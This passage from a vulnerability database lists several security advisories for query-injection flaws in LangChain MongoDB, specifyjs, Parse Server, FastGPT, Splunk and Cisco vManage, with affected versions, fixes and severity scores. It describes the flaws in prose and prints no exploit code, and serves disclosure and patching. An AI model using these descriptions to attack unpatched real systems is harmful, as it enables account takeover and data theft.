      "url": "https://github.com/langchain-ai/langchain-mongodb/releases/tag/libs%2Flanggraph-store-mongodb%2Fv0.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangChain MongoDB has NoSQL Operator Injection in MongoDBSaver.list() leading to cross-tenant data exposure"
}

GHSA-5C7W-4WM3-85VW

Vulnerability from github – Published: 2026-07-02 19:00 – Updated: 2026-07-02 19:00
VLAI
Summary
@asymmetric-effort/specifyjs: GraphQL gql tag allows metacharacter injection
Details

Finding

Location: core/src/client/graphql.ts:66-80

The gql template tag function warned about interpolated values containing GraphQL metacharacters ({}():) but still concatenated them into the query string, enabling potential GraphQL injection.

Status

Fixed in v0.2.136 — The gql function now throws an error when metacharacters are detected in interpolated values, forcing developers to use the variables parameter.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@asymmetric-effort/specifyjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.136"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:00:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Finding\n\n**Location**: `core/src/client/graphql.ts:66-80`\n\nThe `gql` template tag function warned about interpolated values containing GraphQL metacharacters (`{}():`) but still concatenated them into the query string, enabling potential GraphQL injection.\n\n## Status\n\n**Fixed in v0.2.136** \u2014 The `gql` function now throws an error when metacharacters are detected in interpolated values, forcing developers to use the `variables` parameter.",
  "id": "GHSA-5c7w-4wm3-85vw",
  "modified": "2026-07-02T19:00:12Z",
  "published": "2026-07-02T19:00:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/asymmetric-effort/specifyjs/security/advisories/GHSA-5c7w-4wm3-85vw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/asymmetric-effort/specifyjs/commit/25d1fb491d99479efdf501f5f75e0bb80c908f0a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/asymmetric-effort/specifyjs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@asymmetric-effort/specifyjs: GraphQL gql tag allows metacharacter injection"
}

GHSA-5FW2-8JCV-XH87

Vulnerability from github – Published: 2026-03-12 17:29 – Updated: 2026-03-13 13:36
VLAI
Summary
Parse Server: Account takeover via operator injection in authentication data identifier
Details

Impact

An unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user's account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable.

Patches

The fix enforces that the user identifier in authentication data is a string before using it in a database query. Non-string values are rejected with a validation error.

Workarounds

There is no known workaround.

References

  • GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87
  • Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12
  • Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.38
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.6.0-alpha.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T17:29:55Z",
    "nvd_published_at": "2026-03-12T20:16:05Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nAn unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user\u0027s account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable.\n\n### Patches\n\nThe fix enforces that the user identifier in authentication data is a string before using it in a database query. Non-string values are rejected with a validation error.\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.38",
  "id": "GHSA-5fw2-8jcv-xh87",
  "modified": "2026-03-13T13:36:15Z",
  "published": "2026-03-12T17:29:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32248"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/8.6.38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server: Account takeover via operator injection in authentication data identifier"
}

GHSA-5PH8-357J-4HX6

Vulnerability from github – Published: 2026-08-31 21:32 – Updated: 2026-09-01 15:31
VLAI
Details

FastGPT Community Edition 4.10.0 through 4.14.0 are vulnerable to a NoSQL injection in the POST /api/core/chat/getHistories endpoint. An unauthenticated attacker can inject malicious NoSQL operators via crafted JSON payloads to bypass authorization checks, resulting in unauthorized access to chat history titles of all users across the platform.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-31T21:17:49Z",
    "severity": "MODERATE"
  },
  "details": "FastGPT Community Edition 4.10.0 through 4.14.0 are vulnerable to a NoSQL injection in the POST /api/core/chat/getHistories endpoint. An unauthenticated attacker can inject malicious NoSQL operators via crafted JSON payloads to bypass authorization checks, resulting in unauthorized access to chat history titles of all users across the platform.",
  "id": "GHSA-5ph8-357j-4hx6",
  "modified": "2026-09-01T15:31:01Z",
  "published": "2026-08-31T21:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ExploreIO/CVE-2026-79483-FastGPT-NoSQL-Injection"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labring/FastGPT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RXF-5C27-G6HP

Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34
VLAI
Details

In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.9, and 9.4.14, an unauthenticated user who can reach the Splunk management port could store a Search Processing Language (SPL) pipeline that runs when an administrator opens the Add Data forwarder workflow. The SPL pipeline could access all relevant data, affect system integrity, and affect availability of the Splunk platform instance. The SPL injection is possible because Deployment Server client identifiers are placed into dispatched searches without neutralizing special characters. Successful exploitation requires an administrator to open the affected Add Data forwarder workflow after the unauthenticated user registers a crafted Deployment Server client identity. For more information see Forward data (https://help.splunk.com/en/splunk-enterprise/get-started/get-data-in/10.2/how-to-get-data-into-your-splunk-deployment/forward-data) and About agent management (https://help.splunk.com/en/splunk-enterprise/administer/update-your-deployment/10.4/agent-management/about-agent-management) in the Splunk documentation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:17:15Z",
    "severity": "HIGH"
  },
  "details": "In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.9, and 9.4.14, an unauthenticated user who can reach the Splunk management port could store a Search Processing Language (SPL) pipeline that runs when an administrator opens the Add Data forwarder workflow. The SPL pipeline could access all relevant data, affect system integrity, and affect availability of the Splunk platform instance. The SPL injection is possible because Deployment Server client identifiers are placed into dispatched searches without neutralizing special characters. Successful exploitation requires an administrator to open the affected Add Data forwarder workflow after the unauthenticated user registers a crafted Deployment Server client identity. For more information see Forward data (https://help.splunk.com/en/splunk-enterprise/get-started/get-data-in/10.2/how-to-get-data-into-your-splunk-deployment/forward-data) and About agent management (https://help.splunk.com/en/splunk-enterprise/administer/update-your-deployment/10.4/agent-management/about-agent-management) in the Splunk documentation.",
  "id": "GHSA-5rxf-5c27-g6hp",
  "modified": "2026-08-20T00:34:56Z",
  "published": "2026-08-20T00:34:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76316"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0801"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FJ3-23HJ-67PW

Vulnerability from github – Published: 2024-11-15 18:30 – Updated: 2024-11-15 18:30
VLAI
Details

A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system. This vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-1481"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-15T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco\u0026nbsp;SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system.\nThis vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.Cisco\u0026nbsp;has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.",
  "id": "GHSA-6fj3-23hj-67pw",
  "modified": "2024-11-15T18:30:51Z",
  "published": "2024-11-15T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1481"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vman-auth-bypass-Z3Zze5XC"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-cql-inject-c7z9QqyB"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-676: NoSQL Injection

An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.